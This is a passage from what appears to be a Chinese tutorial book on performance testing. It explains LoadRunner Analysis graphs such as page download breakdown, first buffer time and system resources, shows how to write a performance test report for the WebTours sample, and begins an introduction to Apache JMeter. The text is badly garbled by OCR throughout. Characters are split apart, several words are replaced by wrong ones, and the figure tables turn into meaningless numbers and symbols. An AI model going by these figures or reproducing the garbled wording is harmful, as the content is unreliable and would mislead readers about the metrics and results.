操作 方法 与 “页 面 组 件 细 分 图 ”相同 。 结 果 如 图 4-29 所 示 ， 可 以 看 出 itinerary.p| 浪 费 在 了 Receive Time 上 ，sh_itinerary.gif 浪 费 在 了 First Buffer Time 上 。 


[A 


localh...ursitinerary.pl.[DMS Resolution Time] 


localh...ursZitinerary.pl.[L'onnection Time] | 0 0 [0 0 
 localh...urs/itinerary.p|.[SSL Handshaking Time] |0 10 10 10 
[localh...urs/itinerary.pl. [FTP Authentication Time] 0 0 0 0 

uU | 
图 4-29 页 面 下 载 时 间 细 分 
页 面 下 载 时 间 细 分 图 中 常见 指标 的 含义 如 表 4-1 所 示 。 
表 4-1 页 面 下 载 时 间 细 分 图 中 常见 指标 的 含义 
指标 名 称 Е... ER M 
DNS Resolution Time DNS 解析 为 IP 地 址 所 需要 的 时 间 ， 能 反映 DNS 解析 的 问题 ， 该 但 越 小 越 好 
Connection Time 建立 初始 连接 所 需要 的 时 间 ， 能 反映 网 络 问题 ， 该 值 越 小 越 好 


SSL Handshaking Time 建立 SSL 连接 所 需要 的 时 间 ， 仅 适用 于 HTTPS 通信 

服务 器 建立 连接 后 ， 从 服务 器 发 送 第 一 个 数据 包 开 始 计 时 ， 通 过 IA ER 输 ， 成 功 接 
收服 务 器 的 第 一 次 缓冲 所 需要 的 时 间 。 能 反映 是 网 络 问 是 还 是 服 EATON 题 
Receive Time 接收 数据 的 时 间 ， 这 个 时 间 反 上 映 了 带宽 的 大 小 ， 禹 宽 越 大 ， 下 载 时 间 越 短 

如 和 肝 使 用 FITP， 那 么 服务 大 会 首先 验证 该 客户 病 ， 之 后 才能 执行 客户 病人 萌 令 ， 仅 适用 
于 FTP。 该 值 越 小 越 好 
Client Time 思考 时 间或 客户 师 请 求 发 送 延 返 时 间 

从 发 出 HTTP 请 求 到 返回 错误 消 县 及 需要 的 时 间 ， 包含 了 网 络 时 间 和 Web IES AFIR E 
错误 的 时 间 ， 该 时 间 越 小 越 好 


First Buffer Time 


FTP Authentication 


Error Time 


此 处 itinerary.p| 昌 然 大 部 分 浪费 在 了 Receive Time 上 ， 但 不 能 单纯 地 判定 就 是 网 络 问题 。 在 实践 中 我 们 得 出 ，Receive 时 间 比 较 长 可 能 是 网 络 问题 和 客户 端 问题 ， 还 可 能 是 处 理 返 回 的 数据 量 太 大 造 


成 ， 所 以 需要 继续 往 下 分 析 才 能 确定 。 


3. 第 一 次 缓冲 时 间 细 分 


第 一 次 缓冲 时 间 细 分 (Time to First Buffer Breakdown) 统计 成 功 收 到 从 Web 服 务 器 返回 的 第 一 个 缓冲 之 前 的 这 段 时 间 内 ， 场 景 运行 的 每 一 秒 中 每 个 网 页 组 件 的 服务 器 时 间 和 网 络 时 间 。 可 以 使 用 此 
图 确定 在 场景 运行 期 间 ， 是 服务 器 出 现 问题 ， 还 是 网 络 出 现 问题 。 从 图 4-30 中 可 以 看 出 ，sh_itinerary.gif 都 浪费 在 了 网 络 上 ， 说 明 是 网 络 问题 导致 的 ， 而 itinerary.pI 可 能 是 客户 端 接 收 有 问题 ， 也 可 能 是 该 
时 段 受到 网 络 影响 导致 。 这 样 就 把 具体 的 组 件 问题 定位 到 了 。 


Measurement Minimum Average Masimum std, Deviation. 


- Ms .urs/'tinerary.pl [Network Time] 0 m: n = 008 Br 003 
а Е localh...urs/itinerary. pl. [Server Time] i: т 354 2 B5B 0.809 
ú. localhos..._itinerav.qil.|Network Time] 0.003 0.054 0.177 0.069 
d Ë localhos..._itinera.qil.|Server Time] 0 .bc HE 2.234 
"m localhos...eservalion.gil [Network Time] mM 001 01 0.354 0.136 
E ! lacalhas...eservalion.qi. [server Time] 0 f 092 10.450 | 01 Өз 
ii Е i localhos.. page-ilinerary.[N etwark Time] 0 001 |0 096 0,452 0.178 
"Ñ localhos...page=llnerary.[Server Time] - Ú 10.211 Ü. 402 01 13 I 
B i localhos...servations. aif. [Network Time| . jM 0.064 0.305 191; 121 | 
B i localhos...servations. gi. [Server Time] (0823 - 2445 1028 
1 localhos…u&imsitnerary.[Metwork Time] 0 10.002 0.007 0.003 
[1 lacalhas...usinsitinerary. [Server Time - 216 - 265 - 385 - 062 

Е 1 lacalhast/...sh, itinerary. gif. [Network Time] 
1 [асаһов!/...&һ itinerary. gif. [Server Time] 7 55b B m T ТЕ 


图 4-30 ”第 一 次 缓冲 时 间 细 分 
4. 已 下 载 组 件 大 小 


Download Component Size (KB) (已 下 载 组 件 大 小 ) 统计 每 个 已 经 下 载 的 网 页 组 件 的 大 小 。 通 过 它 可 以 直接 看 出 哪些 组 件 比较 大 并 需要 进一步 进行 优化 ， 以 提高 性 能 。 如 图 4-31 所 示 ， 因 为 除了 
itinerary.pl 外 ， 其 余 组 件 并 不 算 太 大 ， 所 以 可 以 肯定 sh_itinerary.gif 是 网 络 问 题 导致 组 件 下 载 时 间 长 ， 而 不 是 组 件 的 大 小 导致 。itinerary.p| 则 是 由 于 太 大 导致 客户 端 接 收 时 间 变 长 。 


' | Graph Median Е 
1525.827 
д end 


| localhos.. eservation.gil 


'localhos.. .pagezitinerary 
EN llocalhos.. „servations. gi 

| 'localhos...utánsilinerary 

| lacalhost/...sh. itinerary. gif 


图 4-31 已 下 载 组 件 大 小 


页 面 细 分 总 图 (Web Page Diagnostics) 针对 某 一 具体 事务 在 测试 过 程 的 情况 进行 分 析 。 可 以 理解 成 是 上 面 几 种 图 表 的 合集 ， 可 以 在 一 个 图 表 里 完 成 分 析 。 


网 页 细 分 总 图 可 按照 下 载 时 间 、 组 件 、 下 载 时 间 (随时 间 变化 ) 、 第 一 次 缓冲 时 间 (随时 间 变化 ) 4 种 方式 进行 细 分 ， 各 自 的 含义 以 及 具体 实战 分 析 已 在 上 面 讲解 过 ， 此 处 不 在 重复 。 网 页 细 分 总 图 如 图 
4-32 所 示 。 

a "SAL. SEND О Т E 

©, Web Page Diagnostics 

T 

E 

= 

к=] 

i5 

© 

本 

= 

S "ш ! = —— 

Ф 02:00 03:00 04:00 05:00 06:00 07:00 08:00 09:00 10:00 11:00 

m Elapsed scenario time mm:ss 
p elect Page to localhos...pages-itinerary [maim URL] (&ction. Transaction check. Itinerary] hd 
{н teak Down: 


Diagnostics options: 
ке Download Time (^ Component (Over Time) (^ Download Time (Over Time) (^ Time to First Buffer (Over Time) 


Component Download Time [seconds] Component Size (KB) 


localh...urs/itinerary.pl ww 14.861525.827 


localhostZ...sh itinerary. gif ЩЖ 2.037 
localhos... itinerary. gif EN 1.757 1.54 
localhos...servations. gif | ER 2.232 
localhos...page-itinerary 80.365 0.645 
localhos...uin=itinerary 0271 1.075 
localhos...eservation. gif [0.195 2.37 


И ONS Resolution Connection ^ SSL Handshaking Bl FTP Authentication ll First Buffer B Receive ll Client В Error 


图 4-32 ”网 页 细 分 总 图 


427 ”系统 资源 图 分 析 


因为 本 实战 程序 部 署 运行 在 Windows 上 ， 所 以 监控 分 析 的 是 Windows 服 务 器 的 系统 资源 图 。 从 图 4-33 中 可 以 明显 地 看 出 ，Disk、Processor 和 Processor Queue Length 都 偏 高 ， 并 有 严重 的 排队 现 
象 ， 需 要 增加 或 替换 更 好 的 CPU 和 Disk 以 及 提升 缓存 的 命中 率 等 。 


[ш osuen 1ш ч [Minimum са [Std Deviation [~] 


: O] |Z Disk Time (PhysicalDisk _Total} alabama NI 671.17 | 1596.64 1418.095 


1 — | Processor Time [Process wiwin32}alabama — (0 18.146 120.833 448? 

| Е Processor Time (Processor .Totall alabama 4 348 | fa. B45 100 | 31.14 | 
0.001 File Data Operations/sec [Systemj'alabama 4.333 42385.419 |103841.04 126958179 
|Interrupts/sec [Processor, Total; alabama 181 980 1410.931. | (037804 1103.441 441 


| = 

| ш 

| m 

ш DY 

| и шш, |Раде Faultsz/sec [Memory] alabama [53.666 5353. 889 15856. 139 3638. 205 
NO: Page Fauls/sec [Process _Total} alabama 3.333 413.998 [3812.141 [463.714 
| 1 Page Faults/sec [Process xiwin32}alabama 10. [21.2295 — 155.661 113.311 

| | ТЕ.06 |Pool Nanpaged Bytes [Memory} alabama 21565440 | 22161732 267 23556096 1565042 575 
Ina ТЕ? [Private Bytes [Process 1 otal} alabama. ases 7 [239771504 1330788203733 |378064836 138556148662 
| B Uu _ Processor Queue Length [System] alabama IL | 16.121 |27 | 14.711 

| оо Threads (übiects:alabama 1783 1844.942 [1872 125.404 


94-33 ”系统 资源 图 


43 图 表 的 合并 与 天 联 


经 过 上 面 的 学 习 我 们 知道 ， 有 时 候 单 看 一 个 或 几 个 图 表 并 不 能 分 析出 问题 ， 常 常 需 要 结合 多 个 图 表 来 观察 ， 这 时 就 要 用 到 图 表 的 合并 与 关联 。 
1. 图 表 的 合并 
合并 图 表 的 操作 步骤 为 : 在 选中 的 一 张 图 表 上 右 击 ， 然 后 选择 Merge Graphs 选 项 ， 再 选择 要 合并 的 图 表 即 可 。 图 4-34 为 Running Vusers 和 Throughput 的 合并 图 。 


Running Vusers - Throughput 


Number of users 


00-00 00:30 01:00 01:30 02-00 02:30 03:00 03:30 04:00 04:30 05:00 05:30 06:00 06:30 07:00 07:30 08:00 08:30 09:00 09:30 10-00 10:30 11:00 11:30 12:00 
Elapsed scenario time mm:ss 


4-34 Running Vusets 和 Thtoughput 的 合并 图 
Ore 各 类 图 表 之 间 的 变化 关系 已 经 在 分 析 上 述 单个 图 表 时 讲解 了 ， 此 处 不 再 重复 介绍 。 
2. 图 表 的 关联 


如 果 想 查看 某 一 段 时 间 内 系统 的 表现 ， 可 以 使 用 图 表 的 自动 关联 。 以 平均 事务 响应 时 间 图 为 例 ， 步 骤 为 : 在 该 图 上 右 击 ， 选 择 Auto Correlate， 出 现 自动 关联 图 表 对 话 框 ， 可 拖 动 图 4-35 中 的 两 条 竖 线 
来 选择 想 查 看 的 范围 ， 在 Measurement to Correlate 下 拉 列 表 中 可 以 选择 要 分 析 的 事务 。 


Auto Correlate |o 


Measurement to Correlate: | check itinerary и 


Time Range | Correlation Options | 


Select time range for correlation: Display values over complete time range 


0:05 0:06 0:07 0:08 


m м 
co co 
a = m 


ь л 
co с 
i. 


[EN | 
c 
sasn, BUIUUNY 


co c 
E PJ 


š 
5 

i 

i 0 
Е 

k 0 
2 

2 30 
(Р 0 
3 0 
E 


c 


Ё 


02:00 03:00 0400 05:00 06:00 0700 0800 09:00 10:00 11:00 


图 4-35 ”自动 关联 图 表 (1) 


选择 确定 后 ， 即 可 看 到 某 个 时 间 段 内 的 详细 数据 ， 如 图 4-36 所 示 。 可 见 在 这 段 时 间 内 ，Private Bytes 呈 现 上 升 趋势 ， 因 此 内 存 资源 比较 紧张 。 


Auto Correlated Graph [4] 


— — -B- 


1:20 01:25 01:30 01:35 01:40 01:45 01:50 01:55 02:00 02-05 02:10 02:15 02-20 02:25 02:30 02-35 02:40 02:45 02:50 02-55 03:00 03:05 03:10 03:15 03:20 03:25 03:30 03:35 03:40 03:45 03:50 
Elapsed scenario time mm:ss 


Measurement Trends (standardized values) 


图 4-36 ”自动 关联 图 表 (2) 


44 ”数据 图 表 的 设置 


1. 全 局 和 局 部 设置 


Analysis 可 以 根据 实际 需求 来 修改 全 局 配置 ， 最 常用 的 设置 就 是 在 分 析 时 去 掉 思 考 时 间 。 操 作 步 骤 为 : 单 击 顶部 菜单 File 一 Set Global Filter， 出 现 如 图 4-37 所 示 界 面 ， 拖 动 滚动 条 到 最 下 方 看 到 Think 
Time 选 项 ， 取 消 选 中 Include Think Time， 单 击 OK 按 钮 ， 即 可 完成 。 


Filter condition: 


(Слепа Values 


Think Time - 


[ Reset all graphs ta their defaults prior ta apph 


四 
Clear Ай | | 


图 4-37 去掉 思考 时 间 
如 果 想 修改 局 部 的 过 滤 设 置 ， 只 需 在 某 张 图 表 上 单 击 鼠 标 右键 ， 选 择 Set Filter/Group By 即 可 。 它 与 全 局 配置 只 是 作用 域 不 一 样 ， 用 法 和 功能 相同 。 
2.X 轴 和 Y 轴 的 设置 
如 果 场 景 运行 时 间 比 较 长 ， 那 么 统计 出 来 的 图 表 显 示 可 能 会 比较 密 ， 这 样 不 宜 于 进行 分 析 判 断 ， 设 置 X 轴 和 Y 轴 的 粒度 可 以 解决 这 一 问题 。 
修改 X 轴 粒度 的 步骤 为 : 选中 想 要 修改 的 图 表 ， 单 击 鼠 标 右键 ， 选 择 Set Granularity， 出 现 如 图 4-38 所 示 的 对 话 框 ， 从 中 可 修改 时 间 粒 度 。 


修改 Y 轴 显示 比例 的 步骤 为 : 打开 想 要 修改 的 图 表 ， 选 中 图 表 下 方 列表 中 的 某 一 项 ， 右 击 后 在 快捷 菜单 中 选择 Configure measurements 命 令 ， 则 会 出 现 如 图 4-39 所 示 的 界面 ， 修 改 Set measurements 


scale to 字段 即 可 。 


—Branularity: 


[6 2j 


Measu 


| 


rement Options 


— A” 


Change Color... 


=бса 


(+ Set measurement scale to 
C Set automatic scale for all measurements 
C Setscale 1 for all measurements: 


C View measurement trends for all measurements 


05 =) 


图 4-39 ”修改 Y 轴 显示 比例 


45 ”性 能 测试 报告 实战 


完成 上 述 分 析 后 就 需要 给 出 一 份 漂亮 的 报告 了 ， 很 多 人 都 头疼 报告 怎么 写 ， 但 对 于 小 白 来 说 并 不 是 什么 难事 ， 因 为 小 白 知 道 一 份 好 的 报告 只 需要 遵循 3 点 即 可 : 清晰 的 结构 、 简 要 的 语言 以 及 数据 的 对 
比 。 


如 果实 在 不 会 写 报告 ， 那 也 没有 关系 ，LoadRunner 的 Aanlysis 提 供 了 自动 生成 报告 功能 。 只 需要 单 击 顶部 菜单 Reports 一 HTML Report 就 可 以 生成 HTML 形 式 的 报告 ， 如 图 4-40 所 示 。 


Dz] LoadRunner | i t | I. ] 


Analysis Reports 
Analysis SummaryPeriod: 28/06/2004 09:59:49 - 28/06/2004 10:11:46 


i:Guimmary 
its per Second Scenario Name: ` C: (Tutorial Scenario. gaby.Irs 
hroughput Results in Session: S:runenti1414Vrunner. downloadYprd'tutorial'tutorial, result tutorial, result.Irr 


| | Duration: 11 minutes and 57 seconds. 
hroughput - Hits per 5econd 


Statistics Summary 


Maximum Running Vusers: 70 

Total Throughput (bytes): С) 273,489,363 

Average Throughput (bytes/second): © 380,904 

Total Hits: ©) 8,789 

Average Hits per Second: (9 12.241 View HTTP Responses Summary 
Total Errors: (9 9,226 


Scenario Behavior Over Time 
The SLA status of the following measurements displayed over time. You can select a specific time range for each transaction 
Transaction Summary 


Transactions: Total Passed: 1,100 Total Failed: 3,112 Total Stopped: 0 


Action. Transaction б) 78.016 139.18 252.471 28.215 89.081 144 3,0810 
book flight (Q 5.375 11.399 17.541 3.015 2.666 175 Ü 0 
check, itinerary G 3.295 32.826 119.258 26.407 65.754 147 28 0 
logoff 的 0.406 1.005 12.909 1.146 1.67 144 3 0 
logon б) 0.444 3.934 9.864 2.161 6.777 175 0 0 
search flight G 0.464 4.915 1117 2.365 7.966 1750 0 


94-40 HTML% 
虽然 这 样 的 方式 比较 简单 快捷 ， 但 缺点 是 无 法 编辑 其 中 的 内 容 ， 造 成 了 诸多 不 便 。 所 以 LoadRunner 也 提供 了 生成 Word 版 本 的 报告 。 操 作 步 又 为 : 单 击 顶部 菜单 Reports 一 New Report， 完 成 
General、Format、Content 三 个 标签 页 中 的 设置 ， 最 后 单 击 Generate 按 钮 ， 即 可 生成 Word 形 式 的 报告 。 
4.5.1 ”性 能 测试 报告 编写 技巧 
在 编写 报告 时 一 定 要 清楚 自己 的 报告 是 给 哪些 人 看 的 。 因 为 给 领导 和 给 技术 人 员 的 报告 是 完全 不 同 的 ， 他 们 的 关注 点 以 及 专业 性 都 会 有 天 壤 之 别 ， 也 许 一 份 自 认 满意 的 报告 就 因为 给 错 了 对 象 而 被 批 得 
一 文 不 值 。 
如 果 报 告 是 发 送 给 领导 的 ， 那 么 需要 尽量 避免 测试 术语 ， 要 用 更 容易 理解 的 语句 来 描述 。 报 告 要 简洁 有 力 ， 不 要 做 过 多 无 用 的 描述 ， 因 为 领导 是 没有 时 间 关 注 细节 的 ， 他 们 更 在 乎 结论 。 


如 果 报 告 是 发 送 给 技术 人 员 的 ， 那 么 可 以 忽略 上 述 的 顾虑 ， 可 以 站 在 专业 的 技术 角度 编写 ， 体 现 分 析 过 程 、 细 节 、 解 决 方案 以 及 结论 。 


1) 编写 报告 时 要 站 在 报告 阅读 人 的 角度 编写 ， 而 不 是 自己 的 角度 。 

2) 简洁 有 力 地 描述 报告 内 容 ， 不 要 有 过 多 的 无 用 描述 。 

3) 报告 中 要 适量 加 入 图 表 ， 一 份 纯 文 字 的 报告 是 没有 多 大 兴趣 耐心 阅读 的 。 
4) 报告 要 体现 较 强 的 逻辑 性 ， 不 能 写 得 乱七八糟 。 

5) 报告 要 有 层次 感 ， 也 就 是 我 们 常 说 的 分 层 思 考 。 

如 果 能 做 到 以 上 几 点 ， 那 么 报告 就 算 成 功 一 半 了 。 


4.5.2 ”性 能 测试 分 析 思 路 


学 得 再 多 ， 如 果 不 总 结 都 是 白 学 ， 到 这 里 我 们 应 该 总 结 基本 的 分 析 方 法 ， 小 白 觉 得 在 学 习 的 这 段 时 间 可 以 总 结 为 两 大 方面 。 


1. 分 析 原 则 


由 外 到 内 ， 有 表 到 里 ， 层 层 深入 。 一 个 应 用 系统 性 能 开始 出 现下 降 的 最 直接 表现 就 是 系统 的 响应 时 间 变 长 。 于 是 ， 系 统 响 应 时 间 成 为 分 析 性 能 的 起 点 。 而 任何 复杂 的 系统 都 可 以 分 为 网 络 和 服务 器 两 个 
部 分 ,我 们 可 以 像 分 析 WebTours 那 样 去 分 析 其 他 系统 ， 如 图 4-41 所 示 。 


组 件 级 关键 指标 


程序 代码 级 
关键 指标 


[| 


图 4-41 ”分 析 原 则 
性 能 分 析 不 是 一 跳 而 就 的 ， 需 要 贯穿 于 性 能 测试 过 程 的 始 未 。 性 能 分 析 调 优 是 个 逐步 推理 验证 的 过 程 ， 就 像 动画 片 《柯南 》 一 样 : 大 胆 猜想 、 细 心 验证 和 排查 。 
2. 分 析 流 程 
虽然 性 能 分 析 是 一 个 非常 复杂 的 过 程 ， 但 一 样 有 规则 可 循 。 就 好 比 制 造 一 辆 汽车 同样 是 复杂 的 过 程 ， 但 只 要 按照 预定 的 步骤 认真 地 执行 下 去 ， 一 辆 汽车 便 诞 生 了 。 分 析 也 是 这 个 道理 。 
一 般 分 析 的 流程 如 下 。 
1) 从 summary 的 事务 概要 图 入 手 。 判 断 用 户 是 否 全 部 运行 ， 事 务 响应 时 间 是 人 否 合理 ， 事 务 通过 率 如 何等 。 


2) 查看 错误 统计 图 和 每 秒 错误 数 图 。 错 误 统 计 图 可 以 直观 地 看 出 在 运行 中 出 现 的 错误 ， 如 果 经 验 足够 ， 有 时 候 可 以 直接 定位 。 而 每 秒 错误 数 图 可 以 查看 测试 过 程 中 错误 的 出 现 是 否 有 规律 ， 如 果 有 ， 则 
有 可 能 是 程序 在 并 发 处 理 方 面 有 问题 。 


3) 查看 系统 资源 情况 。 例 如 ，CPU、 内 存 、1IO、 队 列 等 重要 的 指标 变化 。 


4) 虚拟 用 户 与 事务 的 详细 执行 情况 。 如 果 有 较 多 的 用 户 无 法 通过 ， 则 需要 检查 是 脚本 原因 ， 还 是 场景 原因 。 如 果 只 有 一 个 或 者 少 部 分 虚拟 用 户 运 行 正 常 ， 则 有 可 能 是 脚本 存在 问题 。 正 常情 况 下 ， 随 着 
虚拟 用 户 的 稳定 ， 事 务 响 应 时 间 也 不 会 有 太 大 的 变化 。 


5) 查看 Web 资 源 图 。 可 以 站 在 服务 器 端 来 进行 分 析 推断 。 
6) 查看 网 页 细 分 图 。 可 以 先 从 First Buffer Time 入 手 ， 判 断 是 网 络 问题 ， 还 是 服务 器 问题 ， 然 后 再 具体 细 分 下 去 进行 分 析 。 


掌握 以 上 思想 后 ， 只 有 通过 多 想 、 多 练 、 多 总 结 才 行 ， 小 白蜡 自 告 诉 自己 。 


4.5.3 ”性 能 测试 报告 编写 
性 能 测试 报告 的 编写 其 实 和 上 面 的 分 析 思 路 一 样 ， 只 是 把 关键 的 图 表 融 入 文档 并 进行 语言 的 组 织 描述 即 可 ， 此 处 不 再 重复 前 述 ， 只 给 出 报告 的 框架 以 及 关键 描述 ， 重 点 描述 结论 以 及 解决 方案 。 
(1) 测试 目的 
本 报告 是 为 了 反映 WebTours 系 统 的 关键 业务 的 性 能 表现 ， 检 查 在 多 用 户 并 发 访问 的 情况 下 ， 系 统 的 表现 情况 。 
本 次 测试 从 事务 响应 时 间 、 并 发 用 户 数 、 系 统 资源 使 用 等 多 个 方面 ， 以 专业 的 性 能 测试 技术 ， 分 析出 当前 系统 的 性 能 并 给 出 解决 方案 。 
(2) 测试 范围 
对 WebTours 的 关键 业务 组 合 进行 性 能 测试 ， 包 括 登 录 、 查 机 票 、 订 机 票 、 退 出 等 业务 。 
(3) 测试 环境 
本 章 的 分 析 是 以 WebTours 自 带 报告 进行 的 ， 所 以 并 不 清楚 当时 的 测试 环境 是 什么 。 
一 般 测试 环境 的 描述 需要 包括 服务 器 环境 、 客 户 端 环境 以 及 网 络 环 境 。 详 细 列 出 各 自 环境 中 的 配置 等 即 可 。 
(4) 业务 场景 建 模 
本 次 测试 的 业务 场景 为 : 用 户 登录 一 查找 机 票 一 预订 机 票 一 查看 已 经 预定 的 机 票 一 退出 。 
本 次 测试 场景 的 设置 策略 为 : 慢 增长 方式 ， 逐 步 加 压 ， 达 到 70 个 Vusers 后 保持 运行 ， 最 终 整个 场景 耗 时 11 分 钟 57 秒 后 结束 。 
(5) 测试 结果 分 析 


这 里 就 是 把 分 析 的 关键 数据 图 表 以 及 描述 进行 整合 ， 不 需要 的 数据 图 表 可 不 体现 在 报告 中 ， 只 分 析 关 键 数据 图 表 即 可 。 但 需要 注意 的 是 ， 只 描述 现象 是 不 可 行 的 ， 也 需要 写 出 初步 的 推理 猜想 ， 这 样 后 


具体 分 析 请 参考 4.2 节 中 的 内 容 。 

(6) 测试 结论 与 解决 方案 

通过 上 述 的 分 析 ， 本 系统 可 能 存在 如 下 问题 ， 并 针对 每 类 问题 给 出 了 解决 方案 。 

1) 服务 器 硬件 方面 : 随 着 并 发 用 户 的 增加 ， 系 统 CPU 使 用 率 逐 渐 增 加 ， 并 且 出 现 明显 的 排队 现象 ， 说 明 硬 件 人 存在 瓶颈 。 
解决 方案 : 可 增加 或 蔡 换 更 好 的 CPU 和 磁盘 ， 同 时 修改 Windows 系 统 对 于 TCP 连 接 数 的 限制 。 

2) Web 服 务 方面 : 每 秒 连接 数 一 直 处 于 比较 低 的 状态 ， 可 能 是 连接 数 受到 限制 ， 可 适当 提升 连接 数 。 


解决 方案 : 对 Xitami 服 务 中 的 参数 进行 优化 ， 可 以 适当 调整 Max HTTP connections 和 Allow Keep-Alive connections 的 值 。 


消耗 小 。 当 然 缺 点 则 是 对 初学 者 来 说 还 是 有 点 难 ， 文 档 不 丰富 ， 有 限 的 支持 ， 相 对 于 Apache 功 能 较 少 。 
3) 网 络 方面 : 随 着 并 发 用 户 数 的 增加 ， 向 服务 器 请 求 增加 ， 网 络 出 现 堵 塞 情况 导致 图 片 下 载 时 间 增 加 。 
解决 方案 : 优化 网 络 带宽 ， 保 证 环境 的 稳定 性 ， 减 少 图 片 的 动态 请 求 。 


4) 程序 代码 方面 : itinerary.p| 程 序 文 件 Receive 时 间 太 长 且 下 载 大 小 很 大 。 


解决 方案 : 一 方面 可 优化 客户 端的 展现 方式 ; 另 一 方面 可 优化 itinetaty.pl 中 的 业务 ， 可 考虑 对 showSummaty、temoveFlights、showEtrtor、ptintItinetatyEHeadet 等 方法 进行 拆 分 优化 。 
5) 架构 方面 : 本 系统 部 署 在 Windows 下 ， 且 数据 是 存储 在 文件 中 的 ， 在 大 并 发 下 ， 性 能 不 如 在 Linux 中 使 用 数据 库 好 。 

解决 方案 : 迁移 程序 部 署 在 Linux 下 ， 把 数据 存储 到 数据 库 中 ， 并 对 字段 进行 适当 的 索引 可 以 提升 效率 和 性 能 ， 同 时 考虑 缓存 设计 ， 提 升 命中 率 。 

(7) 测试 风险 


由 于 该 报告 为 官方 提供 的 测试 报告 ， 并 未 提供 测试 环境 、 详 细 配 置 等 信息 ， 所 以 在 分 析 上 可 能 存在 遗漏 或 不 足 ， 带 来 了 一 定 的 风险 ， 故 测试 结果 分 析 与 调 优 仅 供 参 考 。 


46 本草 小 结 

本 章 内 容 并 没有 独立 、 单 纯 地 讲解 数据 图 表 的 含义 ， 而 是 结合 实际 测试 结果 ， 这 样 更 便于 理解 ， 也 能 运用 到 实战 当中 。 通 过 本 章 的 学 习 ， 小 白 对 常用 、 重 要 的 指标 有 了 具体 深刻 的 理解 ， 也 学 会 了 如 何 
分 析 各 种 指标 。 同 时 ， 尝 试 着 编写 性 能 测试 报告 ， 不 论 好 与 坏 ， 第 一 步 的 迈 出 就 是 最 大 的 进步 ， 而 往往 很 多 读者 都 是 倒 在 了 第 一 步 上 。 

到 这 里 终于 把 LoadRunner 的 三 大 组 件 学 习 完毕 了 ， 小 白 再 次 体会 到 要 敢于 动手 、 敢 于 试 错 给 自己 带 来 的 巨大 进步 ， 如 果 永远 都 不 敢 尝试 ， 也 许 就 永远 都 无 法 成 功 。 


经 过 这 段 时间 的 奋发 学 习 ， 第 三 个 里 程 碑 也 算是 完美 结束 了 。 不 过 LoadRunner 是 商业 的 性 能 测试 工具 ， 需 要 资金 购买 ， 对 一 些小 型 公司 来 说 可 能 太 贵 了 ， 开 源 免费 的 性 能 测试 工具 也 许 会 更 合适 ， 于 
是 小 白 开 始 查找 并 学 习 。 


第 5 章 ”开源 性 能 测试 工具 Apache JMeter 快 速 入 门 


小 自在 使 用 商业 性 能 测试 工具 LoadRunner 之 后 ， 觉 得 LoadRunner 十 分 强大 ， 十 分 喜欢 。 有 一 次 领导 谈话 说 ， 由 于 开源 性 能 测试 工具 越 来 越 受到 关注 ， 所 以 想 部 分 使 用 开源 性 能 测试 工具 。 于 是 小 白 开 
8 学 习 新 的 开源 性 能 测试 工具 ， 经 过 一 段 时 间 的 使 用 、 了 解 之 后 ， 决 定 学 习 开源 性 能 测试 工具 -Apache JMeter, 


5.1 Apache JMeter 概 述 


官方 介绍 : Apache JMeter 是 一 个 100% 的 纯 Java 桌 面 应 用 ， 用 于 压力 测试 和 性 能 测量 。 它 最 初 被 设计 用 于 Web 应 用 测试 ， 但 后 来 扩展 到 其 他 测试 领域 。Apache JMeter 可 以 用 于 对 静态 的 和 动态 的 资 
iB (文件 、Servlet、Web 动 态 语言 、Java 对 象 、 数 据 库 和 查询 、FTP 服 务 器 等 ) 的 性 能 进行 测试 。 它 可 以 用 于 对 服务 器 、 网 络 或 对 象 模拟 繁重 的 负载 来 测试 它们 的 强度 或 分 析 不 同 压力 类 型 下 的 整体 性 能 。 
用 户 可 以 使 用 它 做 性 能 的 图 形 分 析 ， 或 在 大 并 发 负载 情况 下 测试 服务 器 、 脚 本 、 对 象 等 。 


小 白 打 听 到 目前 很 多 公司 都 基于 JMeter 开 发 出 了 公司 级 别 的 自动 化 性 能 测试 框架 ， 如 Maven+Jenkins+JMeter 自 动 化 测试 框架 、JMeter+ant 的 自动 化 测试 框架 等 。 
1.Apache JMeter 的 优点 


1) 能 够 对 HTTP 和 FTP 服 务 器 进行 压力 和 性 能 测试 ， 也 可 以 对 任何 数据 库 进 行 同样 的 测试 (通过 JDBC) 。 


М.У 


2) 完全 的 可 移植 性 和 100% 纯 Java。 


М.У 


3) 完全 Swing 和 轻 量 组 件 支持 ( 预 编译 的 JAR 使 用 avax.swing.*) E. 

4) 完全 多 线程 : 框架 允许 通过 多 个 线程 并 发 取样 和 通过 单独 的 线程 组 对 不 同 的 功能 同时 取样 。 

5) 精心 的 GUI 设 计 允 许 快速 操作 和 更 精确 地 计时 。 

6) 缓存 和 离线 分 析 / 回 放 测 试 结果 。 

7) 完全 开源 ， 可 以 对 JMeter 进 行 定制 化 的 二 次 开发 ， 扩 展 自己 所 需 的 插件 。 

2.Apache JMeter 的 缺点 

对 比 LoadRunner， 小 白 发 现 Apache JMeter 也 有 如 下 一 些 不 足 。 

1) 无 类 似 LoadRunner 的 IP 其 骗 功 能 。 

2) 录制 功能 要 借用 第 三 方 工具 Badboy 或 者 使 用 浏览 器 进行 代理 录制 ， 但 是 这 个 录制 都 不 是 很 好 用 。 
3) 报表 类 型 较 少 ， 没 有 LoadRunner 报 表 齐 全 。 

4) 上 手 较 LoadRunner 困 难 一 些 。 

5) 场景 设计 比 LoadRunner 复 杂 。 

6) 纯 多 线程 模式 ， 不 支持 进程 模式 。 

Т) 网 上 详细 资料 较 少 ， 所 以 学 习 起 来 稍微 费劲 ， 普 及 程度 也 没有 LoadRunner 广 。 

8) 场景 控制 以 及 干预 没有 LoadRunner 方 便 ， 如 无 法 在 压力 测试 执行 过 程 中 ， 人 工 增 加 并 发 用 户 数 。 
9) 大 并 发 时 ， 结 果 数 据 不 是 很 准确 。 

3.Apache JMeter 所 支持 的 协议 


Apache JMeter 所 支持 的 协议 如 下 。 


. Web: HTTP, HTTPS, 

. SOAP。 

. FTP, 

. JDBC. 

. LDAP, 

` 面向 消息 的 中 间 件 (通过 JMS) o 

- 邮件 : SMTP (S) 、POP3 (S) 、IMAP (S) 。 
. MongoDB (NoSQL) 。 

- TCP, 


.原生 命令 或 者 Shell 脚 本 。 


5.2 JMeter 的 安装 与 使 用 


小 白 学 习 的 是 JMeter 的 当时 最 新 版 本 一 一 2.11 版 ， 所 以 书 中 所 有 有 关 JMeter 的 使 用 说 明 以 及 截图 均 基于 2.11 版 。 下 面 先 讲解 如 何 安 装 Apache JMeter, 
1. 安 装 

